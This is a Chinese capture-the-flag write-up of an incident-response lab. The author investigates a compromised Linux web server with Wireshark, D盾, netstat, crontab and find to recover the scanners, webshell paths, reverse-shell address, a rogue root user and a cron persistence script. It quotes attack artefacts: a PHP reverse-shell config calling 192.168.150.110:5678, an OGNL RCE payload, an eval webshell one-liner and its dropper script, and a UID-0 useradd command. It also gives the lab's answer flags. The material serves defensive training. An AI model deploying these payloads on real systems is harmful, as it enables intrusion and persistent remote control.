玄机——第九章-实战篇-运维杰克 wp
Peterpan.exe 2024-07-21 17:07:03 阅读 96
文章目录
一、前言二、概览简介
三、参考文章四、步骤(解析)准备步骤#1.0步骤#1.1攻击者使用的的漏洞扫描工具有哪些(两个) flag{xxxan-xxxy}拓展1.1
步骤#1.2攻击者上传webshell的绝对路径及User-agent flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中间值 md5 后作为 flag 提交 flag{md5} - 是链接符拓展1.2
步骤#1.3攻击者反弹shell的IP及端口是什么
步骤#1.4攻击者利用提权攻击添加的用户,用户名是什么
步骤#1.5攻击者留下了后门脚本,找到绝对路径(有SUID权限)
步骤#1.6攻击者留下了持续化监控和后门脚本,找到绝对路径
一、前言
题目链接:第九章-实战篇-运维杰克
三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!
这里既然提到运维,那就简单提一下什么是运维吧;
官方一点说就是运维嘛,即运维管理(Operation and Maintenance),是指对计算机系统、网络设备、服务器、应用程序和数据等信息技术资源进行管理、维护、监控和优化,以确保其正常运行、性能优化和安全性。运维是信息技术管理的重要组成部分,广泛应用于各种企业和机构中。
运维的主要职责包括:
系统维护:
安装和配置操作系统、应用程序和各种软件。进行系统补丁管理,确保系统安全更新。
网络管理:
配置和管理网络设备,如路由器、交换机、防火墙等。监控网络性能,排除网络故障。
服务器管理:
管理和维护物理服务器和虚拟服务器,确保高可用性。监控服务器性能,进行容量规划和性能优化。
数据库管理:
安装和配置数据库系统,进行数据库备份和恢复。优化数据库性能,确保数据安全和完整性。
安全管理:
实施和管理安全策略,防止未经授权的访问和攻击。监控系统安全日志,进行安全漏洞扫描和修复。
备份和恢复:
制定并执行数据备份计划,确保数据的可恢复性。进行灾难恢复测试,确保在系统故障时能够迅速恢复。
监控和报警:
实施系统和网络监控,实时检测故障和性能问题。设置报警机制,及时通知运维人员处理异常情况。
自动化和优化:
使用运维工具和脚本实现自动化运维,减少手工操作。不断优化系统和流程,提高运维效率。
运维的重要性:
确保系统可用性:通过及时维护和监控,确保系统的高可用性,减少宕机时间。提升性能:通过优化系统配置和资源使用,提升系统整体性能。保证安全性:通过实施安全策略和定期检查,保护系统和数据免受安全威胁。数据保护:通过有效的备份和恢复策略,确保数据的完整性和可恢复性。
总的来说,运维在现代信息技术管理中扮演着至关重要的角色,确保企业和机构的IT系统稳定、安全、高效地运行。
二、概览
简介
服务器场景操作系统 Linux
服务器账号密码 root root123
题目来源公众号 China-爱州
https://mp.weixin.qq.com/s/WMWBDI5ClhpQP0wDT0PaGw
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/WMWBDI5ClhpQP0wDT0PaGw
附件地址 链接: https://pan.baidu.com/s/1UziBZkFoKcTbdOyo6yox0g?pwd=mb3q 提取码: mb3q
–来自百度网盘超级会员v5的分享
题目;
1、攻击者使用的的漏洞扫描工具有哪些(两个) flag{xxxan-xxxy}
2、攻击者上传webshell的绝对路径及User-agent flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中间值 md5 后作为 flag 提交 flag{md5} - 是链接符
3、攻击者反弹shell的IP及端口是什么
4、攻击者利用提权攻击添加的用户,用户名是什么
5、攻击者留下了后门脚本,找到绝对路径(有SUID权限)
6、攻击者留下了持续化监控和后门脚本,找到绝对路径
三、参考文章
第九章 - 实战篇 - 运维杰克
玄机应急响应_ALL_WriteUp
四、步骤(解析)
准备步骤#1.0
靶机环境是Liunx,老规矩我们直接使用Xshell连接即可(方法不唯一,这里仅供参考)
新建连接,输入靶机IP,连接即可;(这里SSH也可以,输入命令:ssh root@靶机IP,方法不唯一,仅供参考)
成功连接;
步骤#1.1
攻击者使用的的漏洞扫描工具有哪些(两个) flag{xxxan-xxxy}
解题思路
题目问我们黑客使用的漏洞扫描工具是什么,提示我们有两个,那做这个题的在此之前,我们先来了解一下黑客常用的漏洞扫描工具有那些,接着再来简单分析一下;
常见的漏洞扫描工具;
Nmap:
功能:网络发现和安全审核工具,能扫描开放端口和识别服务。优点:强大的脚本引擎,广泛用于网络探测。
Nessus:
功能:全面的漏洞扫描器,能够检测已知漏洞、配置错误和缺失的补丁。优点:详细的报告和分析,广泛支持多种操作系统。
OpenVAS:
功能:开放源代码的漏洞扫描工具,提供全面的漏洞管理功能。优点:定期更新的漏洞数据库,强大的扫描能力。
Metasploit:
功能:渗透测试框架,集成了漏洞扫描和攻击模块。优点:强大的漏洞利用库和自动化测试功能。
fscan:
功能:快速网络扫描和漏洞检测工具,适用于渗透测试和信息收集。优点:轻量级,扫描速度快,易于使用。
Goby:
功能:安全评估工具,具备全面的漏洞扫描能力和自动化漏洞检测功能。优点:用户界面友好,支持多种扫描模式和报告生成。
QualysGuard:
功能:基于云的漏洞扫描和管理平台。优点:易于部署和管理,实时更新漏洞数据库。
Burp Suite:
功能:用于Web应用程序安全测试,包含漏洞扫描和攻击工具。优点:强大的插件系统和灵活的配置选项。
简单总结一下,这些工具,都各有特色,覆盖了从网络扫描到Web应用程序安全测试的广泛需求。
那这里我们就可以从系统日志里面进行分析,或者流量数据中寻找特定的工具特征,那这里的一般检查系统日志都是检查的Web服务器apache日志(<code>access.log 和 error.log
中查找特定的扫描行为和请求模式),但是这里奇怪的是并没有发现什么(空白的,估计被删除了),但是后来我们又在root目录下发现了一个流量包,那这里我们就可以对流量包进行分析也是没问题的;
root目录下,发现“result.pcap”流量包,那我们就想办法给它导出来嘛;
这里我使用的工具“finalshel”直接下载导出的,关于finalshell的具体导出操作之前的文章基本都是有详细说明,那这里就不再强调了;(finalshell导出文章:第五章 linux实战-CMS01)
选中root目录下流量包“result.pcap”,右键选择“下载”即可,注意下载路径以防自己找不着;
导出完毕,那我们先来暂时先去 apache 日志看一下哪两个 ip 访问最多里统计一下可疑IP出现的次数,这样待会在“Wireshark”中分析起来会更便捷一些;
使用命令;
<code>cut -d- -f 1 access.log.1 | sort -nr | uniq -c | sort -nr
命令解析;
cut -d- -f 1 access.log.1
:cut
命令用于从文件中提取列。-d-
选项指定分隔符为 -
,-f 1
选项指定提取分隔符前的第一列。这会从 access.log.1
文件中提取所有以 -
为分隔符的第一列内容。
sort -nr
:sort
命令用于对输入进行排序。-n
选项按数值排序,-r
选项表示按降序排列。这个命令对提取出的第一列内容进行数值降序排序。
uniq -c
:uniq
命令用于过滤重复的行,并输出每行出现的次数。-c
选项表示在输出每行前加上该行的出现次数。
sort -nr
:再次使用 sort
命令进行排序。-n
选项按数值排序,-r
选项按降序排列。这个命令对 uniq -c
的输出按出现次数的降序进行排序。
简单说明;
从 access.log.1
中提取以 -
为分隔符的第一列内容。对这些内容进行数值降序排序。统计每个唯一项的出现次数。对统计结果按次数进行降序排序。
得到;
也是发现“192.168.150.1 ”“192.168.150.2 ”,这两个IP出现的次数较多,那我们就在“Wireshark”中格外“关照一下”吧;
流量包“result.pcap”丢进“Wireshark”中,那我们就简单筛选一下 IP 地址 <code>192.168.150.1 发出的所有 TCP 流量,并且排除 SSH(端口 22)和 HTTP(端口 80)流量。
使用命令;
ip.src_host == 192.168.150.1 && tcp && !ssh && !http
往下随便翻翻,发现大量数据条名称中包含[SYN]以及[ACK],那现在基本可以确认了是namp扫描的特征,接着又发现了<code>options 的固定长度 02 04 05 b4
,并且[SYN]也称为半开放扫描,是用来探测开放端口的;
往下翻一些得到;
简单来说;
大量的 SYN 包:
Nmap 使用 SYN 扫描(也称为半开放扫描)来探测开放端口。你会看到大量带有 <code>[SYN] 标记的 TCP 包,它们是尝试与目标端口建立连接的初始请求。
SYN-ACK 和 RST 包:
对于开放的端口,目标主机会回应一个 [SYN, ACK]
包。对于关闭的端口,目标主机会回应一个 [RST, ACK]
包。这些响应帮助 Nmap 确定哪些端口是开放的,哪些是关闭的。
TCP 选项:
Nmap 在其 TCP 包中设置了一些特定的选项,用于进行 OS Fingerprinting 和其他高级扫描。你提到的 02 04 05 b4
是 TCP 选项的十六进制表示形式,表示窗口大小(Window Size)。这些选项是一个特征,用来识别 Nmap 流量。
所以现在基本可以石锤了一个扫描——Namp,那现在我们分析了TCP,接下来我们去看看http有没有什么收货,http这里简单的直接筛选即可;
这里还是简单的按包的大小排序一下,也是在大小472的包中发现了扫描器“Goby”的痕迹,前面总结也有提到“Goby”,同时也符合题目所给出提示的第二个flag“xxxy”,所以基本可以确认扫扫描器是——“Goby”;
接着我们可以查看一下协议分级,发现除了"UDP",“TCP”,还有一个较为可疑的“ICMP”
那我们右键选中简单分析一下;
得到;
<code>101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
可以发现利用了 icmp echo
来探测存活,可能有些师傅不明白这具体是咋子个回事,那我们来简单分析分析;
首先是ICMP Echo 请求(Ping)
ICMP Echo 请求是通过发送一个带有特定格式的数据包来探测目标主机是否在线。通常情况下,ICMP Echo 请求的数据部分可以包含任意数据,有时也会包含连续的字节(例如 0x00 到 0xFF)。
其次是我们数据部分的分析;
101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
简单来说就是这些值是 ICMP Echo 请求的数据部分。这种连续的字节值通常用于确保数据的一致性和校验。
利用 ICMP Echo 请求进行存活探测
目的:探测目标主机是否在线。方法:发送 ICMP Echo 请求(Ping),目标主机收到请求后会返回一个 ICMP Echo 回复。特征:ICMP Echo 请求数据部分可以包含任意数据,常见的是连续字节或固定模式。
因此我们可以以此来进行分析;
我们可以想到“fscan”工具以及其他网络扫描工具(如 nmap)在进行存活探测时,确实会使用 ICMP Echo 请求作为一种探测手段。
总的来说 ICMP Echo 请求数据部分的内容,是用于探测目标主机是否在线。这种模式在网络扫描工具(如 fscan 或 nmap)中是常见的探测手段之一。
再结合题目所给出的第一个提示“xxxn“,十分怀疑就是fscan,不过没事不着急,我们可以分析分析,我们还可以再筛选一下IP地址”192.168.150.2“的http,这样更有助于便捷分析;
命令;
ip.addr == 192.168.150.2 && http
简单按包的大小排个序,往下随便翻一下(大概在700多左右),发现了漏洞的特征;
简单分析一下;
那这里有的师傅可能就会疑问了,为什么发现个漏洞就跟fscan能扯上关系呢?
简单来说,因为它涉及一个常见的漏洞利用技术:基于Web请求的远程代码执行(RCE)。fscan是一个多功能的网络安全扫描工具,可以自动化探测各种类型的安全漏洞,包括Web应用程序中的RCE漏洞。
这原来的;
<code>GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork
URL简单解个码;
GET /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork
这个payload的目的是利用某种远程代码执行漏洞,在目标服务器上执行id
命令,并将其输出嵌入到HTTP响应中,但是fscan工具可以自动化检测和利用各种漏洞,包括RCE漏洞。
漏洞扫描:
fscan工具扫描目标Web应用程序,检测是否存在RCE漏洞。例如,通过测试各种已知漏洞payloads,包括上述Java EL注入。
自动化利用:
一旦检测到漏洞,fscan可以自动化利用这些漏洞,执行特定命令以验证漏洞的存在。例如,上述请求就是通过执行id
命令来验证RCE漏洞。
报告和日志:
fscan可以记录扫描结果,包括成功利用的漏洞及其输出结果。
简单来说;
fscan工具可以用于扫描和检测Web应用程序中的RCE漏洞。该请求示例展示了如何利用RCE漏洞执行系统命令。fscan工具可能会生成和发送类似的请求,以自动化漏洞扫描和利用过程
最后总结;,fscan工具可以通过发送类似的请求来探测和利用RCE漏洞,从而在目标系统上执行任意命令。这就是这个请求与fscan工具之间的联系。
结合题目所给出的flag提示:flag{xxxan-xxxy};
至此;
flag{fscan-goby}
这里做法不唯一哈,仅供参考,当然一些经验较丰富的老师傅看见这个提示其实很大概率就可以猜出来了,就不需要像我们这些可能头一回碰见这么难受了;
拓展1.1
那这里可能就有的师傅可能会有疑问,为什么之前查出的namp不作为扫描器?
那我们来简单说说;
Nmap 的特点和局限性
通用性强:Nmap 能够执行多种类型的扫描,包括端口扫描、操作系统检测、版本检测等,非常适合进行广泛的网络扫描和评估。速度和性能:Nmap 在处理大规模网络扫描时,可能会由于其全面的扫描功能而速度较慢,尤其是在进行复杂的扫描任务时。脚本引擎:虽然 Nmap 有 NSE (Nmap Scripting Engine),可以通过脚本实现更多的功能,但编写和维护这些脚本需要一定的技术背景。
fscan 和 goby 的优势
专注于漏洞扫描:
fscan:专注于漏洞扫描和利用,自动化程度高,能够快速识别和利用常见的漏洞,特别适用于渗透测试和红队作业。goby:也是一款专业的安全扫描器,专注于漏洞发现和安全检测,拥有强大的漏洞库和攻击模块,适用于细粒度的漏洞扫描。
自动化和集成:
这些工具通常具有高度的自动化能力,能够自动化发现、扫描和利用漏洞,减少了手动操作的复杂性。能够集成多种漏洞利用模块,一旦发现漏洞可以直接进行利用和验证。
实时更新的漏洞库:
fscan 和 goby 通常会保持其漏洞库的实时更新,能够迅速应对新出现的安全漏洞和攻击向量。
针对性强:
这些工具在设计上更专注于漏洞发现和利用,具有针对性强、扫描速度快的特点,适合特定场景下的快速漏洞扫描和利用。
简而言之为什么选择 fscan 和 goby 而不是 Nmap;
首先最重要的一点是:题目让我们提交的是(攻击者使用的的漏洞扫描工具有哪些(两个) flag{xxxan-xxxy}),也很清楚的说了是漏洞扫描器!;
其次;
效率:在需要快速定位并利用漏洞的情况下,fscan 和 goby 的自动化和快速扫描能力使它们成为更好的选择。专门性:fscan 和 goby 专注于漏洞扫描和利用,提供了更丰富的漏洞检测和利用功能,适合渗透测试和红队活动。易用性:fscan 和 goby 的界面和功能设计更贴合漏洞扫描的需求,使用起来更直接和简便。
总结;
虽然 Nmap 是一个非常强大的工具,但在特定的漏洞扫描和利用场景下(题目要求的提交漏洞扫描器),fscan 和 goby 提供了更高效、更专注的解决方案。因此,选择 fscan 和 goby 作为扫描器而不是 Nmap,可以更好地满足特定任务的需求,实现更快、更精准的漏洞发现和利用。
步骤#1.2
攻击者上传webshell的绝对路径及User-agent flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中间值 md5 后作为 flag 提交 flag{md5} - 是链接符
解题思路
题目让我们找到黑客上传的webshell绝对路径以及User-agent,最后MD5加密提交,那找webshell相信看过我文章的师傅已经烂熟于心了属实是,不管是手工排查还是工具排查我相信这种题目肯定已经难不倒师傅们了,但是这里有点不一样的是,它还需要“User-agent”,所以这里不仅单单是查到webshell那么简单了,那好话不多说我们来一起分析一下;
那这里我们还是先看webshell吧,但是在此之前我们还需要先查看分析一下“开放的端口和网络连接”,那为什么呢?
使用命令;
netstat -ano
简单来说就是两点;
确定异常连接和开放端口
异常的网络连接:通过 netstat -ano
可以发现系统上是否存在异常的网络连接。例如,某些端口不应该对外开放,但却有外部 IP 连接进来,这可能是黑客通过 webshell 与系统进行交互的证据。识别恶意服务:查看开放的端口和其对应的进程 ID,可以帮助你识别哪些服务是异常启动的。恶意 webshell 可能会启动一个特定的服务来进行命令和控制。
关联进程和文件
进程对应的文件路径:通过 netstat -ano
找到可疑的进程 ID,然后使用 ps -aux | grep <PID>
查看具体的进程信息,包括其启动的文件路径。webshell 通常是由特定的 web 服务器进程(如 Apache 或 Nginx)启动的,通过进程 ID 可以追溯到对应的文件路径。
得到;
简单分析一下;
确定可疑的服务和端口
通过 <code>netstat -ano 命令,我们发现了多个开放的端口,其中一些是 web 服务 (0.0.0.0:80
)、数据库服务 (127.0.0.1:3306
)、以及其他应用服务 (7848
, 8848
, 9848
, 9849
等等)。这些服务都是可能被攻击的目标,特别是 web 服务,因为它是最常见的攻击入口。
关联可疑连接
在输出中,我们发现了几个与外部 IP(如 211.143.236.146
)的建立连接,这是黑客使用的连接。特别是与端口 22
(SSH) 的连接和其他端口的连接,表明黑客在尝试远程访问系统并进一步控制。
锁定 web 目录
由于 netstat
显示的开放端口中包含 80
端口,这是标准的 HTTP 服务端口,就是运行 web 应用的服务。因此,黑客上传的 webshell 很有可能存储在 web 服务的根目录中,即 /var/www/html
。
那既然这样我们就先把源码(var/www/html)导出丢进"D盾"扫描工具进行查杀webshell,这是最便捷没有之前,那这里我还是使用老工具“Finalshell”来进行导出源码;(“Finalshell”导出文件这里就不再过多演示,强调了也不止一遍两遍,如还不会的建议可以去看我的文章:第五章 linux实战-CMS01)
连接靶机成功,也是很快锁定了源码(var/www/html),那我们直接选中接着右键“下载”即可;(注意下载的路径,以防自己待会找不到)
这次的源码有点多,大家耐心等待下载即可;(或者也可以先在Liunx中压缩再导出)
<code>tar -zcvf /var/www/html.tar.gz /var/www/html
目标文件 html.tar.gz
将被正确创建在 /var/www
目录下
那这里也是成功导出,我们直接丢进“D盾”里面进行查杀webshell;
得到;
也是一眼相中了这个“shell”,跟进分析;
右键“记事本打开”,得到;
简单分析一下;
首先我们可以确认的一点就是,这是一个反弹 shell 脚本,用于在目标服务器上建立反向 shell 连接。
其中;
<code>set_time_limit(0);
$VERSION = "1.0";
$ip = '192.168.150.110'; // CHANGE THIS
$port = 5678; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
set_time_limit(0)
:设置脚本的执行时间为无限制,这样脚本不会因为运行时间过长而终止。$ip
和 $port
:目标 IP 地址和端口号,反向 shell 将连接到这个 IP 和端口。$chunk_size
:数据块大小。$shell
:将在目标服务器上执行的命令。$daemon
和 $debug
:控制脚本行为的标志。
以及;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
检查 pcntl_fork
函数是否存在,该函数用于在 PHP 中创建子进程。如果 pcntl_fork
函数存在,脚本将尝试创建一个子进程。
pcntl_fork
返回子进程的 PID。返回 -1 表示创建失败,返回 0 表示当前进程是子进程,返回大于 0 的值表示当前进程是父进程。如果是父进程(PID 大于 0),父进程退出。 posix_setsid
:将当前进程设置为会话领导,以避免产生僵尸进程。
简单来说该脚本功能;
该脚本设置了无限制的执行时间。尝试以后台进程(守护进程)方式运行自己,避免产生僵尸进程。反弹 shell 连接到指定的 IP 和端口。运行指定的命令,并将结果通过反向 shell 返回。
那既然可以确定了,但是还是不知道如何上传了这个文件是什么,那这里我们再次返回刚刚导出的流量包中继续简单筛选一下http,简单分析一下黑客是如何上传的这个文件从而找出如何上传了这个文件;
使用命令;
http.request.method == "POST" && http.content_type contains "multipart/form-data"
命令分析;
那既然提到文件上传,那肯定通常使用 POST
方法,并且请求中会包含 multipart/form-data
,那这里可能就有点师傅懵了,啥?文件上传为啥请求中会含有multipart/form-data
,这是什么个东西?
这种编码方式允许将多个不同类型的内容(如文本字段和文件)混合在一个请求中发送,这是在上传文件时常用的格式。(一般来说都是这个)
最后总结;
为什么文件上传请求会使用 multipart/form-data
支持文件内容传输:multipart/form-data
允许在 HTTP 请求中嵌入二进制文件数据,这是其他常规编码方式(如 application/x-www-form-urlencoded
)无法做到的。混合数据类型传输:可以同时传输文本字段和文件数据,使得表单提交更为灵活和强大。标准化:浏览器和服务器普遍支持这种 MIME 类型,使得文件上传操作标准化和可靠。
这里简单按大小排个序,而且包也不是很多,翻到最底下发现一个特殊的包,我们选中追踪http流得的;
哎,果然就发现了上传文件的“User-agent”;(整那么明显是生怕我们看不见啊)
<code>User-Agent: my_is_user_agent
根据题目描述提交flag;
获得 Webshell 的绝对路径。获得 User-agent。将绝对路径和 User-agent 连接成一个字符串。对连接后的字符串进行 MD5 哈希。将 MD5 哈希值作为 flag 提交。
首次确定我们获得webshell的路径是:/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php
获得 User-agent:my_is_user_agent
将绝对路径和 User-agent 连接成一个字符串;
题目中要求的格式为:/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent
将路径和 User-agent 连接起来,中间用一个连接符 -
:
/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php-my_is_user_agent
对连接后的字符串进行 MD5 哈希:
使用 md5sum
工具或其他 MD5 哈希生成工具对上面的字符串进行哈希。
命令;
echo -n "/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php-my_is_user_agent" | md5sum
得到;
至此;
<code>flag{14bea1643a4b97600ba13a6dd5dbbd04}
拓展1.2
multipart/form-data
的详细说明
什么是 multipart/form-data
multipart/form-data
是一种 MIME(Multipurpose Internet Mail Extensions)类型,它可以在一个请求中包含多个部分,每个部分可以是不同类型的数据。这对于表单提交特别有用,因为表单可能包含文本字段(如输入框)和文件(如图片或文档)。
文件上传的需求
在上传文件时,需要将文件的数据与其他表单字段一起发送给服务器。传统的 application/x-www-form-urlencoded
方式只能编码简单的键值对,不能处理文件数据。因此,multipart/form-data
被引入来满足这一需求。
multipart/form-data
的结构
一个 multipart/form-data
请求的主体由多个部分组成,每个部分都有自己的 Content-Disposition
头来描述其内容类型和字段名称。文件部分还会包含文件名和文件类型。
例如;
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 123456
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"code>
JohnDoe
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.txt"code>
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
在上面的示例中,可以看到请求体中有两个部分:
一个文本字段 username
,其值为 JohnDoe
。一个文件字段 file
,其文件名为 example.txt
,文件内容为 This is the content of the file.
。
步骤#1.3
攻击者反弹shell的IP及端口是什么
解题思路
题目让我们提交黑客反弹shell的IP及端口,这题按我来说应该放在第二题,那前面我们就已经知道反弹shell是什么了,那这里我们先假装不知道前面的,全部忘记,按照正常操作来一遍;
那这里还是老规矩呗,先导出源码(var/www/html),接着丢进"D盾"里面扫呗;
很快就发现一个危害级别为“5”的,那我们就跟进过去瞅瞅呗;
得到;
因为这里题二已经啰嗦过了,这里我就不啰嗦了,直接说答案吧;
黑客反弹shell的IP为:192.168.150.110
端口为:5678
至此;(这里也没说提交的格式是什么,那就默认一下网上最多的提交格式吧)
<code>flag{192.168.150.110:5678}
步骤#1.4
攻击者利用提权攻击添加的用户,用户名是什么
解题思路
题目让我们提交黑客利用提权添加的用户是那个,哎,又是用户又是提权,怪熟悉的嘞,之前有看过我文章的师傅那肯定就有印象了,既然都提到用户了,那就简单去分析一下看看用户列表有那些可疑的用户呗;
我们肯定是检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等,所以;
使用命令;
cat /etc/passwd
得到;
简单分析一下;
一眼看过去最明显了,“zhangsan”你什么地位啊既然和root一个权限,是吧,很快就完事了;
但是这里还是官方的具体分析一下把;
用户ID (UID) 和 组ID (GID):
<code>zhangsan 用户的 UID 和 GID 都是 0 (x:0:0:
)。在 Unix/Linux 系统中,UID 和 GID 为 0 的用户是超级用户(root)。这意味着 zhangsan
用户具有与 root
用户相同的权限。
不符合常规的命名规则:
一般来说,系统上的 root 级别用户(UID 0)非常少,并且有特定的用途。一个名为 zhangsan
的用户拥有 root 权限,这很不寻常,通常是一个强烈的暗示,表明它可能是由黑客添加的。
家庭目录:
zhangsan
用户的家庭目录是 /home/zhangsan
。这与其他系统用户(如 root
,/root
)不同。尽管有时管理员可能会创建具有 root 权限的特定用户,但这通常是经过仔细管理和记录的。
添加的可能性:
黑客在成功获得 root 权限后,可能会添加一个新的具有 root 权限的用户,以确保他们的访问在系统重启或管理员修改后仍然存在。这通常是通过命令 useradd -o -u 0 -g 0 -d /home/zhangsan zhangsan
或类似的命令来实现的。
与其他用户的对比:
其他系统用户(如 mysql
, ntp
)通常有特定的 UID 和 GID,且权限受到限制。 zhangsan
的条目明显不同,具有最高权限。
综上所述:
zhangsan
用户是由黑客利用提权攻击添加的用户,主要原因是其 UID 和 GID 为 0,表明它具有 root 权限,这是系统安全中的一个重大漏洞。
至此;
flag{zhangsan}
步骤#1.5
攻击者留下了后门脚本,找到绝对路径(有SUID权限)
解题思路
题目让我们提交黑客留下的后面脚本的绝对路径,这题两种做法,第一种就是使用我们熟悉的“D盾”框框先扫一顿也是可以扫出来的,第二种就是题目不是说SUID权限权限嘛,那我们就可以从这个下手,就简单查一下所有具有 SUID 权限的文件。
第一种;
还是"D盾"开扫呗,一般最容易出现问题的也就是这个源码了(var/www/html)
刚刚好也是在反弹shell的下面,而且说明也说了“Eval后门,参数[cmd]”,我们尝试提交发现正确,这个工具找到没什么好说的;
第二种;
既然说了要找系统上所有具有 SUID 权限的文件,
那我们可以使用命令;
<code>find / -perm -u=s -type f 2>/dev/null
简单分析一下这个命令;
-type f
:
只查找普通文件(即不包括目录、设备文件等)。
2>/dev/null
:
将错误消息(如权限不足导致的“Permission denied”错误)重定向到 /dev/null
,即忽略它们。这使输出更加简洁,只显示查找到的文件。
得到;
<code>/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
也是可以得到,那这里就不再多说;
至此;
flag{/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php}
步骤#1.6
攻击者留下了持续化监控和后门脚本,找到绝对路径
解题思路
题目让我们找到黑客留下的持续化监控和后门脚本的路径,那我们就可以查查定时任务,那可能有的师傅就疑问了,为什么要查定时任务呢?
简单说说;
这是因为定时任务(cron jobs)是一个常见的机制,黑客会利用它们在系统中保持持久性。
具体说明;
持久性:
定时任务: 黑客可以在系统的 cron
调度程序中添加任务,以确保恶意脚本或程序在系统启动或定时执行时运行。这使得即使系统重启,恶意活动也会继续。例子: 黑客可能会添加一个定时任务,每小时或每天运行一次,以重新启动被终止的后门程序或执行数据收集和传输任务。
隐蔽性:
自动执行: 定时任务可以在后台静默地执行,减少被用户或管理员察觉的机会。例子: 一个定时任务可以在用户活跃时间之外执行恶意活动,如深夜或清晨。
恢复机制:
自我修复: 如果黑客的恶意进程被杀死,他们可能会设置一个定时任务来自动重新启动它。例子: 黑客可以设置一个定时任务,每分钟检查恶意进程是否在运行,如果没有则重新启动它。
所以;
crontab -l
得到;
这多冒昧啊,就这一个,你说可不可疑?要多一点还好难分辨这就一个,那我们直接跟进分析好吧;
<code>cat /opt/.script/.script.sh
得到;
#!/bin/bash
<code>echo "<?php @eval($_GET[cmd]); ?>">/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
chmod 777 /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
chmod u+s /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
简单分析一下;
首先可以确定的一点就是,这个就是题目让我们找的留下的后门脚本,用于持续化控制;
创建一个 PHP Web Shell
echo "<?php @eval($_GET[cmd]); ?>">/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
功能: 这行命令创建了一个 PHP 脚本 /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
。内容: PHP 代码 <?php @eval($_GET[cmd]); ?>
是一个常见的 Web Shell,它允许通过 HTTP 请求中的 cmd
参数执行任意的 PHP 代码。作用: 这种 Web Shell 使得黑客可以远程执行服务器上的命令,提供了远程控制的能力。
设置权限
chmod 777 /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
功能: 这行命令将该文件的权限设置为 777
。作用: 权限 777
表示所有用户(包括所有者、组用户和其他用户)都可以读、写和执行这个文件。这种权限设置通常是不安全的,但在这里允许任何人修改和执行这个 Web Shell。
设置 SUID 位
chmod u+s /var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php
功能: 这行命令设置了 SUID(Set User ID)位。作用: SUID 位通常用于可执行文件,允许该文件以其拥有者的权限运行。但是,PHP 文件设置 SUID 位是非典型的,可能是个误操作或非法行为。实际上,PHP 文件的 SUID 位不会生效,但这个操作显示出黑客试图通过不常见的方法增加文件的持久性或误导调查者。
最后总结一下;
后门脚本: 这个脚本创建了一个 PHP Web Shell,这种 Web Shell 可以让黑客远程控制服务器,执行任意命令。权限设置: 黑客设置了宽松的文件权限,确保他们可以访问和执行这个后门文件。SUID 设置: 虽然对 PHP 文件的 SUID 位设置无实际效果,但它表明黑客可能试图通过不同的手段增加持久性或误导管理员。持续化: 这个 Web Shell 提供了持续化的访问方式。黑客可以随时通过该 Web Shell 执行命令,即使系统重启或其他更改发生。监控: 该 Web Shell 用于监控或进一步控制目标系统,比如定期运行特定命令或收集敏感信息。
题目让我们提交绝对路径(没让我MD5加密之后提交,良心一回了,除了第二题之外)
至此;
flag{/opt/.script/.script.sh}
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。